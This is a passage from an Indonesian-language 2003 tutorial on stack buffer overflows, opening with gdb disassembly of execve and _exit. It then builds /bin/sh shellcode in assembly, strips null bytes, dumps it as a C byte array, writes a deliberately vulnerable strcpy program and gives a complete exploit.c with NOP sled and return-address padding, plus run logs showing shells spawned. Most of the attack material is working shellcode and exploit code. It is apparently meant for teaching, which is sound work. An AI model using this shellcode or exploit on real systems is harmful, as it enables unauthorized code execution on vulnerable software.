0x80481f5 <main+29>:    mov    0xfffffff8(%ebp),%eax
0x80481f8 <main+32>:    push   %eax
0x80481f9 <main+33>:    call   0x8048360 <execve>
0x80481fe <main+38>:    add    $0x10,%esp
0x8048201 <main+41>:    add    $0xfffffff4,%esp
0x8048204 <main+44>:    push   $0x0
0x8048206 <main+46>:    call   0x804834c <_exit>
0x804820b <main+51>:    add    $0x10,%esp
0x804820e <main+54>:    mov    %esi,%esi
0x8048210 <main+56>:    leave
0x8048211 <main+57>:    ret
End of assembler dump.
(gdb) gdb execve
Undefined command: "gdb".  Try "help".
(gdb) oops
Undefined command: "oops".  Try "help".
(gdb) disass execve
Dump of assembler code for function execve:
0x8048360 <execve>:     lea    0x3b,%eax
0x8048366 <execve+6>:   int    $0x80
0x8048368 <execve+8>:   jb     0x8048358 <_exit+12>
0x804836a <execve+10>:  ret
0x804836b <execve+11>:  nop
0x804836c <execve+12>:  push   %ebp
0x804836d <execve+13>:  mov    %esp,%ebp
0x804836f <execve+15>:  sub    $0xc,%esp
0x8048372 <execve+18>:  push   %edi
.
.
(dan seterusnya beberapa lembar)
(gdb) disass exit
Dump of assembler code for function exit:
0x804991c <exit>:       push   %ebp
0x804991d <exit+1>:     mov    %esp,%ebp
0x804991f <exit+3>:     sub    $0xc,%esp
0x8049922 <exit+6>:     push   %edi
0x8049923 <exit+7>:     push   %esi
0x8049924 <exit+8>:     push   %ebx
0x804992d <exit+17>:    je     0x804994a <exit+46>
0x804992f <exit+19>:    nop
.
.
(dan seterusnya... salah. mustinya "_exit", bukan "exit")
(gdb) disass _exit
Dump of assembler code for function _exit:
0x804834c <_exit>:      lea    0x1,%eax
0x8048352 <_exit+6>:    int    $0x80
0x8048354 <_exit+8>:    ret
0x8048355 <_exit+9>:    lea    0x0(%esi),%esi
0x8048358 <_exit+12>:   jmp    0x8049a34 <.cerror>
0x804835d <_exit+17>:   lea    0x0(%esi),%esi
End of assembler dump.
(gdb) q
[aa]$


Shellcode

Nah sekarang kita cukup punya bahan. Menggunakan trik lama, kita masukkan address string ke stack dengan perintah: "call".

contoh5.c (assembler code)
------------------------------------------------------------
    pushl $0		; address NULL
    jmp shell		; ambil address stringz "/bin/sh"

  mulai:
    pushl $0		; arg3 (SP berkurang 4)
    leal 4(%esp),%eax	; jadi address string berada di SP+4 
    pushl %eax		; masukkan ke arg2 (SP berkurang lagi 4)
    mov 8(%esp),%eax	; address string sekarang di SP+8	
    pushl %eax		; masukkan sebagai arg 1
    sub $4,%esp		; dummy-ret (buat syscall)
    mov $0x3b,%eax	; service number 0x3b = execve
    int $0x80		; syscall
    add $16,%esp	; penala stack
    add $8,%esp		; offset untuk ret & push 0 diatas

    pushl $0
    sub $4,%esp
    mov $0x1,%eax
    int $0x80

    add $8,%esp

    jmp CIAO
  
  shell:
    call (mulai)	; address stringz "/bin/sh"
    .asciz \"/bin/sh\"  ; disimpan ke stack (SP)
  CIAO:
------------------------------------------------------------

lalu tinggal kita masukkan ke dalam block assembler int main() { asm(" xxxx "); }, selesailah sudah :) mari kita test hasilnya:

[aa]$./contoh5
$ echo "Hello shell!"
Hello shell!
$ exit
[aa]$

Lalu kita ambil kode-bytenya dengan debugger. Catatan: supaya kelihatan rapi sebaiknya gunakan mode layar minimal 86 kolom. saran saya gunakan x windows atau pake putty telnet, tinggal copy-paste :)

[aa]$gdb -q contoh5
(gdb) set disass intel
(gdb) disass main
Dump of assembler code for function main:
0x80481d8 <main>:       push   %ebp
0x80481d9 <main+1>:     mov    %esp,%ebp
0x80481db <main+3>:     push   $0x0
0x80481dd <main+5>:     jmp    0x804820c <shell>
0x80481df <mulai>:      push   $0x0
0x80481e1 <mulai+2>:    lea    0x4(%esp,1),%eax
0x80481e5 <mulai+6>:    push   %eax
0x80481e6 <mulai+7>:    mov    0x8(%esp,1),%eax
0x80481ea <mulai+11>:   push   %eax
0x80481eb <mulai+12>:   sub    $0x4,%esp
0x80481ee <mulai+15>:   mov    $0x3b,%eax
0x80481f3 <mulai+20>:   int    $0x80
0x80481f5 <mulai+22>:   add    $0x10,%esp
0x80481f8 <mulai+25>:   add    $0x8,%esp
0x80481fb <mulai+28>:   push   $0x0
0x80481fd <mulai+30>:   sub    $0x4,%esp
0x8048200 <mulai+33>:   mov    $0x1,%eax
0x8048205 <mulai+38>:   int    $0x80
0x8048207 <mulai+40>:   add    $0x8,%esp
0x804820a <mulai+43>:   jmp    0x8048219 <CIAO>
0x804820c <shell>:      call   0x80481df <mulai>
0x8048211 <shell+5>:    das
0x8048212 <shell+6>:    bound  %ebp,0x6e(%ecx)
0x8048215 <shell+9>:    das
0x8048216 <shell+10>:   jae    0x8048280 <atexit+100>
0x8048218 <shell+12>:   add    %cl,%cl
0x804821a <CIAO+1>:     ret
End of assembler dump.
(gdb) print CIAO - (main+3)
$1 = 62 (jumlah byte yang perlu didump)
(gdb) x/62b main+3
0x80481db <main+3>:   0x6a 0x00 0xeb 0x2d 0x6a 0x00 0x8d 0x44
0x80481e3 <mulai+4>:  0x24 0x04 0x50 0x8b 0x44 0x24 0x08 0x50
0x80481eb <mulai+12>: 0x83 0xec 0x04 0xb8 0x3b 0x00 0x00 0x00
0x80481f3 <mulai+20>: 0xcd 0x80 0x83 0xc4 0x10 0x83 0xc4 0x08
0x80481fb <mulai+28>: 0x6a 0x00 0x83 0xec 0x04 0xb8 0x01 0x00
0x8048203 <mulai+36>: 0x00 0x00 0xcd 0x80 0x83 0xc4 0x08 0xeb
0x804820b <mulai+44>: 0x0d 0xe8 0xce 0xff 0xff 0xff 0x2f 0x62
0x8048213 <shell+7>:  0x69 0x6e 0x2f 0x73 0x68 0x00
(gdb)q
[aa]$

hmm... tapi, masih banyak byte 00 di dalamnya, ini tidak bagus buat BO, string yang akan kita inputkan bisa putus di tengah jalan. Tapi tidak apalah, ini cuma sekedar contoh, banyak shelcodes berserakan di rimba kang-ouw, tinggal kita pungut mana yang kita mau sesuai OS target.


Merapikan Shellcode

Shellcode yang efektif, menghasilkan kode byte yang tidak mengandung karakter kontrol (0 - 0x1F), malah kalau bisa juga tidak mengandung simbol-simbol tertentu seperti backslash (\), single/doublequotes ('/"), anglebracket (<>) dsb.

Trik-trik yang bisa digunakan a.l.:

  1. mengganti perintah MOV X dengan pasangan PUSH/POP
  2. menggunakan XOR untuk mereset nilai (membuatnya 0)
  3. mengganti perintah ADD N dengan SUB -N

lain-lain:

  • jika menggunakan displacement index, perbesar/tambah offset hingga lebih dari 0x20
  • usahakan jumlah kode-byte merupakan kelipatan 4

Shellcode dibawah ini memodifikasi kodenya sendiri (self- modifying) yaitu dengan mengisi NULL dibelakang "/bin/sh", serta menyimpan nilai di dua lokasi memori setelahnya (seukuran 2 pointer atau 8 byte). Jadi, program dibawah ini tidak bisa langsung dijalankan, (hanya untuk diambil code-byte-nya saja).

contoh6.c
------------------------------------------------------------
int main() {
asm("
    jmp store

  mulai:
    popl %edi           # salin address \"/bin/sh\" ke DI
    pushl %edi          # simpan lagi ke stack
    xorl %eax,%eax      # reset EAX
    sub $-7,%edi        # incar ujung string \"/bin/sh\"
    cld
    stosb               # ASCIIZ \"/bin/sh\"
    popl %eax           # salin address \"/bin/sh\" ke EAX
    stosl               # simpan ke memory storage1
    xorl %eax,%eax      # reset EAX
    stosl               # simpan ke memory storage2

  param:
    pushl %eax          # -> arg3

    leal -8(%edi),%esi  # ESI = address storage1
    pushl %esi          # -> arg2
    movl -8(%edi),%esi  # ESI = isi memori storage1
    pushl %esi          # -> arg3
//  alternatif lain, lebih singkat:
//    add $-8,%edi
//    pushl %edi
//    pushl (%edi)

    pushl %eax          # dummy, syscall ret-address
    movb $0x3b,%al      # service call = 3B
    int $0x80           # syscall
    sub $-0x16,%esp

//  dipotong, biar irit:
//    xorl %eax,%eax      # reset EAX
//    pushl %eax          # arg1
//    pushl %eax          # dummy
//    inc %eax            # service call = 01
//    int $0x80           # syscall
//    sub $-8,%esp

    leave
    ret

  store:
    call mulai
  shell:
    .ascii \"/bin/sh0\",
  storage1:
    .ascii \"1234\"
  storage2:
    .ascii \"5678\"
CIAO:
");
}
------------------------------------------------------------

[aa]$gcc -o contoh6 contoh6.c
[aa]$echo "print CIAO - (main+3)" | gdb -q contoh6
(gdb) $1 = 56
(gdb) [aa]
[aa]$echo "x/56b main+3" | gdb -q contoh6
(gdb) 0x80481db <main+3>:  0xeb 0x21 0x5f 0x57 0x31 0xc0 0x83 0xef
0x80481e3 <mulai+6>:  0xf9 0xfc 0xaa 0x58 0xab 0x31 0xc0 0xab
0x80481eb <param>:    0x50 0x8d 0x77 0xf8 0x56 0x8b 0x77 0xf8
0x80481f3 <param+8>:  0x56 0x50 0xb0 0x3b 0xcd 0x80 0x83 0xec
0x80481fb <param+16>: 0xea 0xc9 0xc3 0xe8 0xda 0xff 0xff 0xff
0x8048203 <shell>:    0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x30
0x804820b <storage1>: 0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38
(gdb) [aa]$

setelah kita lihat formatnya, langsung kita copy saja ke file contoh7.c supaya tidak repot

[aa]$echo "x/56b main+3" | gdb -q contoh6 |\
> sed -E s/"^.*:(.*)"/"\"\1\""/g |\
> sed -E s/"space:0"/"\\\\"/g |\
> tee contoh7.c
"\xeb\x21\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x8d\x77\xf8\x56\x8b\x77\xf8"
"\x56\x50\xb0\x3b\xcd\x80\x83\xec"
"\xea\xc9\xc3\xe8\xda\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38"
(gdb)
[aa]$

lalu kita edit.

contoh7.c
------------------------------------------------------------
char shell[] =
"\xeb\x21\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x8d\x77\xf8\x56\x8b\x77\xf8"
"\x56\x50\xb0\x3b\xcd\x80\x83\xec"
"\xea\xc9\xc3\xe8\xda\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38"
;

int main() {
  int *ret;
  ret = (int*) &ret + 2; // 2 pointer ke long integer
                         // = 8 bytes
  (*ret) = (int) shell;
}
------------------------------------------------------------

Selanjutnya dikompile dan langsung dicoba:

[aa]$gcc -o contoh7 contoh7.c
[aa]$./contoh7
$ 	=> (INI ADALAH SHELL)
OK, kita sudah masuk kedalam shellcode

$ who am i
aa               ttyp2    Feb 11 00:54 (aa)
$ uname -prs
Annix 4.56-CANTIX i386
$ make love
make: don't know how to make love. Stop
$ echo Inul Daratista have a better asses than pinguin
$ Inul Daratista have a better asses than pinguin
$ exit
[aa]$


Exploit

Pada saat sebuah fungsi dijalankan, dimanapun levelnya berada, awalnya nilai SP-nya selalu sama (nilainya tergantung kepada OS ybs.). Seperti diketahui, return value dari sebuah fungsi diperoleh dari nilai register AX, maka dengan menyalin SP ke AX, kita dapat mengambil nilai SP untuk diproses lebih lanjut.

unsigned long SP(void) {
  asm("movl %esp,%eax");
}

Namun sayangnya kita tidak tahu posisi sebenarnya dari buffer yang akan kita overflow, jadi mau tidak mau ya harus dikira-kira saja sendiri :). Misalnya seperti gambar di bawah ini, jika bufY adalah buffer yang exploitable, maka posisinya di stack adalah SP minus seluruh offset dari buf1 s.d. bufY. Oleh sebab itulah dalam program nanti kita perlu menambah satu variabel yang bisa merubah offset stack ini.

gambar-3.6a.
 ____________________________//___________________|___
   |      |   bufY    |              |    |   |   |
   | bufZ |exploitable| bufX    buf1 |buf0|BP |RET|
 __|______|___________|______//______|____|___|___|___
                                                  |

Tujuan utama kita adalah menimpa return-address yang disimpan di stack agar mengarah kembali ke SP yang berisi shellcode kita. Untuk menambah peluang keberhasilan, kita bungkus shellcode dengan deretan NOP di depannya serta barisan return-address di belakangnya.

gambar-3.6b.
 _________|______________________________________________
   |      |           |               |
   | bufZ |   NOPs..  |   Shellcode   | Return Adresses..
 __|______|___________|_______________|__________________
          |                               |
                                          |JMP
                 |<------------------------


Pada umumnya address alignment adalah 4, artinya data disimpan dalam address memori dalam kelipatan 4, intel sendiri, dengan alasan performansi, memang menyarankan minimal dalam word boundary (kelipatan 2), dalam praktek, compiler seperti gcc malah melipatnya dalam 8 atau 16 (seperti kita lihat pada contoh-contoh diatas yang melakukan perapian stack dalam kelipatan 16 (biasa disebut juga 1 paragraph). Dalam program exploit nanti, kita akan mengakomodasi kemungkinan anomali atas address alignment, buat mengakali program-program yang mungkin dikompile secara tidak standar atau dipatch secara biner sembarangan, udik, kampungan, dsb. dsb.

Oke deh kakak, untuk menguji shellcode, kita buat dulu sebuah program yang secara tidak senonoh, menyalin argumen ke buffernya tanpa melakukan pengechekan dhulu sebhelumnyha:

victim.c
------------------------------------------------------------
#define EXPLOITABLE_BUFFER_SIZE 256

int main(int argc, char *argv[]) {
  char msg[]="no argumen specified";
  char memble[EXPLOITABLE_BUFFER_SIZE];
  strcpy(memble, argc > 1 ? argv[1] : msg);
  printf("%s\n", memble);
}
------------------------------------------------------------

Selanjutnya kita buat program yang menyalin exploit kode ke environment, yang lantas bisa kita inputkan nantinya (supaya tidak perlu diketik manual), sebagai argumen untuk program victim diatas.

Program ini dapat dipanggil dengan argumen kustomisasi yaitu [bufsize] [offset] [alignment] dengan nilai default: 512 0 0

exploit.c
------------------------------------------------------------
#define DEFAULT_BUFSIZE 512
#define DEFAULT_OFFSET 0
#define ALIGNMENT 0
#define ENV_STRING "BUF"
#define NOP 0x90
#define midpointer(X) ((X>>3)<<2)

char shell[] =
"\xeb\x1f\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x83\xc7\xf8\x57\xff\x37\x50"
"\xb0\x3b\xcd\x80\x83\xec\xea\xc9"
"\xc3\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x30\x31\x32"
"\x33\x34\x35\x36\x37\x38"
;

/*
char shell_new[] =
// yang ini lebih singkat
"\xeb\x1f\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x83\xc7\xf8\x57\xff\x37\x50"
"\xb0\x3b\xcd\x80\x83\xec\xea\xc9"
"\xc3\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68\x30\x31\x32"
"\x33\x34\x35\x36\x37\x38"
;

char shell_old[] =
// yang ini lebih portable
"\xeb\x21\x5f\x57\x31\xc0\x83\xef"
"\xf9\xfc\xaa\x58\xab\x31\xc0\xab"
"\x50\x8d\x77\xf8\x56\x8b\x77\xf8"
"\x56\x50\xb0\x3b\xcd\x80\x83\xec"
"\xea\xc9\xc3\xe8\xda\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38"
;
*/

int SP(void) {
  asm("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
  char
    *B,		// memory allocated for buffer
    *pb;	// intermediate pointer for buffer
  long
    X,		// return-address as number
    *px;	// counter pointer

  int i,
    bufsize, mid, offsize, align,
    codelength = strlen(shell);

  bufsize = argc > 1 ? atoi(argv[1]) : DEFAULT_BUFSIZE;
  if (bufsize < codelength) bufsize = DEFAULT_BUFSIZE;
  offsize = argc > 2 ? atoi(argv[2]) : DEFAULT_OFFSET;
  align = argc > 3 ? atoi(argv[3])%4 : ALIGNMENT;
  mid = bufsize-midpointer(bufsize);

  if (B = (char*) malloc(bufsize + 1)) { 
    memset(B, NOP, mid);
    pb = B;
  }
  else exit(1);

  X = SP() - offsize;

  printf("shellcode=\n%s\n", shell);
  printf("codelength=%u, bufsize=%u, mid=%u (%u-%u)\n",
    codelength, bufsize, mid, bufsize, bufsize-mid);
  printf("ESP: x%X, Offset: %u (x%X), Effective: x%X, ",
    X+offsize, offsize, offsize, X);
  printf("Alignment %u\n", align);
  printf("Environment variable: \"%s\"\n", ENV_STRING);

  (char *) px = (pb + mid + align); 

  for (i = mid; i < bufsize; i+=4)	// size of pointer
    *(px++) = X;			// = 4 bytes

  pb = B + mid - midpointer(codelength);

  for (i = 0; i < codelength; i++)
    *(pb++) = shell[i];

  B[bufsize] = '\0';

  setenv(ENV_STRING, B, 1);
  system(getenv("SHELL"));

}
------------------------------------------------------------
[aa]$gcc -o exploit exploit.c

Dengan contoh exploitable-buffer sebesar 256 bytes pada program victim diatas, kita coba program exploit untuk mengeset environment variabel BUF dengan exploit-code yang panjangnya 300 (bytes)

[aa]$./exploit 300
shellcode=
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678
codelength=54, bufsize=300, mid=152 (300-148)
ESP: xBFBFFB60, Offset: 0 (x0), Effective: xBFBFFB60, Alignment 0
Environment variable: "BUF"

Program exploit membuka shell baru dengan environment "BUF" yang di-set sesuai exploit-code (300 bytes). Lalu inputkan exploit-code tsb. menjadi argumen untuk program victim:

[aa]$./victim "$BUF"
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿`û¿¿
Bus error (core dumped)
[aa]$

Yaah... hasilnya kacau :(, kita keluar saja deh...

[aa]$exit
exit
[aa]$

Rupanya ada yang kelupaan, karena exploitable-buffer dalam program victim diatas besarnya adalah 256 bytes, maka sebaiknya kita kurangi SP sebesar kira-kira segitu, yaitu dengan menggunakan offset, misalnya 200 lah...

[aa]$./exploit 300 200
shellcode=
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678
codelength=54, bufsize=300, mid=152 (300-148)
ESP: xBFBFFB60, Offset: 200 (xC8), Effective: xBFBFFA98, Alignment 0
Environment variable: "BUF"
[aa]$

Dengan cara yang sama seperti diatas, kita embat lagi buffernya

[aa]$./victim "$BUF"
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿ú¿¿
$ 	=> (INI ADALAH SHELL)

Wow! kereen... :).

$ exit
[aa]$exit
exit
[aa]$

Coba lagi nilai lainnya, nilai offset mestinya lebih besar dari mid (middle point of buffer) supaya return address jatuhnya di bantalan NOP yang empuk.

[aa]$./exploit 400 300
shellcode=
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678
codelength=54, bufsize=400, mid=200 (400-200)
ESP: xBFBFFB60, Offset: 300 (x12C), Effective: xBFBFFA34, Alignment 0
Environment variable: "BUF"
[aa]$./victim "$BUF"
ë_W1ÀïùüªX«1À«PÇøWÿ7P°;ÍìêÉÃèÜÿÿÿ/bin/sh012345678¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿4ú¿¿
$ 	=> (INI ADALAH SHELL)

Gracias!

$ exit
[aa]$exit
exit
[aa]$





Penutup

Udah-ah, capek :)


_________________________________________________________________
Bacaan:
"Smashing the Stack for Fun and Profit", Aleph One, Phrack Magazine 49, Volume Seven, Issue Forty­Nine, File 14.
_________________________________________________________________
by: aa,
kritik dan saran: aa.delphi.AT.yahoo.DOT.com
jakarta,
20030406
20030415
20030417


Pranala Menarik